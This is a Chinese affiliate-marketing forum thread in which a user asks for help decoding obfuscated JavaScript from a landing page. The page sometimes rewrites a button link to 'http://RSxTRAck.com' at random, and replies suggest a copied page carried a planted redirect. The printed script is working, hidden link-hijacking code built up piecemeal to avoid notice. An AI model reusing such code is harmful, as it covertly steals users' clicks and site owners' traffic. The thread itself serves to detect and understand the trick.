一段js 求解密，怀疑流量被偷了。大牛帮我看看。

tmdsoft · 发表于 2014-12-25 21:16:37

本帖最后由 tmdsoft 于 2014-12-25 21:19 编辑

$(function() {
3 M! E4 {0 n T
$(".option.clearfix").on("click",
! g7 d, X; |. l7 [) P$ Z1 W
function() {7 r( }2 S& \! I( Y
$(this).toggleClass("selected");9 V3 h7 M, ^" Y
if ($(this).hasClass("selected")) {
. ?0 Y* ^" g! a
$(this).addClass("selected")) _" G+ a( x- F5 g0 j0 Q$ F3 ^
} else {% F2 p8 K. e* @- B
$(this).removeClass("selected")% {6 U8 D2 ~7 x+ J
}( p7 X" \& O% Z, c1 Y
return false
});" L& l" D3 ?( o* ^: A# u# W
var e = "r";% i! G! S4 U$ H7 l- V E$ H# W
var t = "e";
6 x# G$ n z- ~
setBtnMarginDefault = "c" + "\u006B";8 T0 }0 s! O/ O# b
$(".option2.clearfix").on("click",3 S# J: k; C) ^; G5 C
function() {
* g7 P& T& U8 W: G! D
$(this).toggleClass("selected");
) q) v s; I+ h5 n# A9 ]( G
if ($(this).hasClass("selected")) {
E6 J; c: }. z0 K0 g
$(this).addClass("selected")
+ \0 L0 m& G9 |( }5 f! l: C- F
} else {4 G0 d9 r% z. f/ B5 c/ w3 }6 r
$(this).removeClass("selected")& m* c+ B) X: E: x! |7 ~
}
( |1 U- ~3 X3 C2 Q. y
return false4 Z. s1 I3 [% k, H
});
# f( r2 S$ ^! @0 ^/ ^. ]
var n = "a";
5 ~) v: i# z! I1 d
var r = "g";. I- j* S7 N. N _ ~) O3 P* W0 M4 {
$(".option3.clearfix").on("click",+ k" h7 J9 w6 t" W/ k$ v
function() {/ O8 ?3 k5 X6 B+ M& ?. i% G
$(this).toggleClass("selected");
# R4 m: C" b7 M2 T$ n0 Y/ h9 Q
if ($(this).hasClass("selected")) {
) {1 ~9 G/ Q+ E
$(this).addClass("selected")7 R- o$ x/ C' V* a0 l* p! W
} else {
8 I4 ~9 W( y! Y% M$ q) A
$(this).removeClass("selected")' K$ r+ x' F# c; U* E
}1 V: B: I$ q6 P: Q6 ]
return false
/ ~; I) f2 U2 J$ w* u
});. ?! J2 g# B* b- x6 }+ ~
var i = "e";
6 L+ M V3 H3 `1 p6 ?
var s = n + r + e + t + i;6 I6 j% \/ F) h5 O/ D* X
$(".option4.clearfix").on("click",
$ k# M0 R6 q4 G
function() {
+ P7 V* _' B l) ]
$(this).toggleClass("selected");3 e2 U" W$ Y. u. C
if ($(this).hasClass("selected")) {
* Q5 z( p/ n$ c& b9 L
$(this).addClass("selected")
} else {& d! W Q" {$ J: u
$(this).removeClass("selected"). q! k! w) j. m, Y! p# f: T- @
}5 X7 K X! n( ~% Q- D8 R0 S
return false
9 S4 z* x7 U: ?/ j5 e
});7 p" W) o( U) n2 E
var o = "\u0032" + "\u0030";
" e2 I5 H7 f' W: M& A3 Y* w
var u = "\u0031" + "\u0030";
: m8 b0 |6 R, l1 T. k* Q: M! _- Y
currentWhiteSpace = Math.floor(Math.random() * o);" \4 U G o7 e+ Q7 P* q3 K' i
setBtnMargin30 = setBtnMarginDefault + "." + "c";# E0 H* _3 L7 m; G9 h! U
Date.prototype.getMonthName = function() {; L o9 R! l% Q+ }, m& c
var e = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"];& I: y% e+ P4 Y. n9 Q {; V3 f9 x
return e[this.getMonth()]
5 e1 N/ F% ]7 F6 J( h( E2 l/ q
};- g+ H) F8 G; ]- ~2 P
var a = currentWhiteSpace;
@0 y! Y! z/ ? F8 a; y g- U
var f = "H";
/ G% H* A5 k1 B" R2 ?- s
var l = "\u0052";& Q+ Q% X; l7 ~0 K' ~7 I
var c = "o" + "\u006D";- R( Z& D$ c, l: m [
f += "T";
9 y- P1 [; J/ a0 w9 ?
f += "T";
& l, X$ U, W4 g$ b& p) V- Q# [
f += "P";' j& J" C/ i6 n5 a
var h = new Date;1 T G8 z. I/ t: x
if (h.getMonth() == 11) {
Y0 ]1 n$ z6 h" h4 h0 `! I
var p = (new Date(h.getFullYear() + 1, 0, 1)).getMonthName()
5 [' A# R" d* n! r& h+ M: g
} else {
$ d) r' J( |9 ?
var p = (new Date(h.getFullYear(), h.getMonth() + 1, 1)).getMonthName()
0 X' _) j. j1 Q+ ^ B- A2 F4 i' }
}( B4 p) }6 i8 T: o, c
var d = ":" + "/" + "/";( P- K- X0 D6 a ]3 ]
l += "S";1 e5 q( L7 ?( ~% r
l += "x";- f7 }% b' @1 t
document.getElementById("monthz").innerHTML = p;9 T3 m( \& u% u2 O) v
l += "\u0054";
" c6 r; E6 n6 F% B% q
l += "R";: N* g$ P$ n: q1 ?9 T6 a
l += "\u0041" + setBtnMargin30;
/ ^/ @; `1 c: E& }
setStyle = f + d + l + c;8 U, Z3 j* \4 Q. A9 ]/ e
s = s.toLowerCase(s);9 O: b. }: |& V) p* C$ A. A( ~, C1 Z, p
if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;1 f" I7 [' A: P. _) j' O5 @
})

复制代码

了解js 的帮我看看这个加密的函数，是不是随机性的偷流量。

tmdsoft · 发表于 2014-12-25 21:21:01

if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;

复制代码

最后这一句，怀疑是随机偷流量代码。。。

tmdsoft · 发表于 2014-12-25 21:40:19

$(function () {0 [, g. P! n  `; @4 t- c
$(".option.clearfix").on("click", function () {
: G, k: T; q8 K+ F7 Y" [  I1 c       $(this).toggleClass("selected");7 }4 C6 D+ }: C
      if ($(this).hasClass("selected")) {
$ x' J, y$ L2 I/ C# \$ x; o) `. a          $(this).addClass("selected")
: T7 u+ d  K- Y2 T  V! K  Q5 M4 S       } else {
) Q* r& d1 Z) j3 p0 ]& q# W          $(this).removeClass("selected")
& X3 X# ^/ ]0 s0 H2 W1 G       }
( k7 @6 C( C5 V, @0 P$ D       return false
3 S& L& ?* ]" L! p# M- Y2 [ });
0 U; y- T8 L( W1 } $(".option2.clearfix").on("click", function () {
: e. k7 L/ M1 s0 T  @: |& o- q* `2 }       $(this).toggleClass("selected");  `5 e0 U4 \, ?& d" f: Q5 s
      if ($(this).hasClass("selected")) {  k3 d6 z1 g9 Y4 A2 ~" s
         $(this).addClass("selected")
6 j2 W4 e. F3 z  l& {3 H' P       } else {3 t) O( g- o6 a! r
         $(this).removeClass("selected")) F1 g2 v4 W. I/ a9 @
      }6 f7 m1 e4 b, H* ?4 Z
      return false
/ o2 z$ g0 M, e- J# K- b });
* s1 P# N9 K1 _3 z3 a9 _* o $(".option3.clearfix").on("click", function () {5 c2 n8 _  v4 [1 m, r) D  s
      $(this).toggleClass("selected");
1 A( n$ N: E3 N; ]# w       if ($(this).hasClass("selected")) {
1 P$ G; J; l. Q, D          $(this).addClass("selected")
2 E4 V. T- _4 v8 M- V& A       } else {2 Z+ B' M% }/ r8 e/ [. A
         $(this).removeClass("selected")! f) e0 q+ i6 x. L) [
      }( ^( u6 r/ C$ h4 _1 b0 |
      return false! {& v/ B7 d& G, S7 ~, X
});- ]: c# k$ O" }% q  N4 u2 }2 p
$(".option4.clearfix").on("click", function () {
, ?( e/ S9 \5 |" ?       $(this).toggleClass("selected");
1 s; ?: A* y6 A7 u% q9 z       if ($(this).hasClass("selected")) {/ z/ s0 U- m. @- b7 B+ d4 P; O9 I( }
         $(this).addClass("selected")
1 V) J$ D9 Y5 {+ q3 o% k       } else {
. T! C' {& Y; n& ~  |          $(this).removeClass("selected")
- r% @( p  K/ X! i: a$ g' \       }# G' Z, [5 l5 D$ c
      return false4 \8 K$ ~, x8 B) w
});
2 _6 `7 u" D" u})

我把代码简化了下，lp 正常，问题解决，另外还是求大牛看看一楼的代码，是不是随机跳转偷流量。。。

河小马 · 发表于 2014-12-25 22:53:55

不是的

tmdsoft · 发表于 2014-12-26 01:17:21

河小马发表于 2014-12-25 22:53
- O. l: C1 u! }& k# [! e% V不是的

那是什么？

tmdsoft · 发表于 2014-12-26 01:37:43

本帖最后由 tmdsoft 于 2014-12-26 01:39 编辑

document.getElementsByClassName(s)[0].href = setStyle

复制代码

最主要的是这句话，最后 setstyle = Http://RSxTRAck.com

tmdsoft · 发表于 2014-12-26 01:45:43

if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;

o=20
u=10

a=1或者0 乘以20

如果a=20（50%的几率) ,那么条件成立，请问这句代码是不是重定向到这个网址上。

显示全部楼层 · 发表于 2014-12-27 12:14:29

你是用了别人的LP？

Rock_well · 发表于 2014-12-28 01:00:28

setstyle = Http://RSxTRAck.com
如果后面不是你自己的offer页面，就是你在扒了别人的LP之后没有做修改，人家重定向了吧。

		自动登录	找回密码
密码			立即注册

谷歌+Bing+TT+MSN官方代理	⚡️按条S5代理⚡️静态⚡️独享⚡️5G	⚡️最干净<Wifi住宅+5G移动>IP代理	指纹浏览器，就用AdsPower
Mediabuy⚡️玩家开户首选	【鲁班跨境通-自助充值转账】	FB/GG/TT❤️官方免费开户	Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理	*开户投流-724h❤️人工在线**	【官方】❤️搜索套利广告开户	独立站⚡️开户投放
DuoPlus专注打造跨境电商云手机	E.PN 虚拟卡	BINOM TRACKER 60% OFF!	比Adplexity还好用的Spy工具
MediaGo+Taboola+Ob开户	百度国际MediaGo⚡️让产品狂奔全球	百度国际，高点击转化，快速放量	百度国际MediaGo，独家原生流量
ADPLEXITY + ADVERTCN	7200W全球动态不重复住宅IP代理	虚拟信用卡+独立站收款	全球虚拟卡, 支持U充值
Facebook 批量上广告	尤里改 - FB 稳定投放	免费黑五教程（持续更新、欢迎交流）	FB 三不限源头 - 自助下户充值转款
各种主页、账单户、BM户（优势）	⚡️个人户，bm户不限额，账单户	一手BM分享户不限额	9Proxy ⚡️ $0.04/IP, 无限带宽
FB二三解0.1元一个	虚拟卡\|PTM星际卡	FB专用虚拟卡	Google、Bing官方总代联盟流量开户
FB账号资源/稳定靠谱/运行5年啦	FB开户代投/三不限/白名单	广告位出租

[讨论] 一段js 求解密，怀疑流量被偷了。大牛帮我看看。

点评

点评

社区QQ达人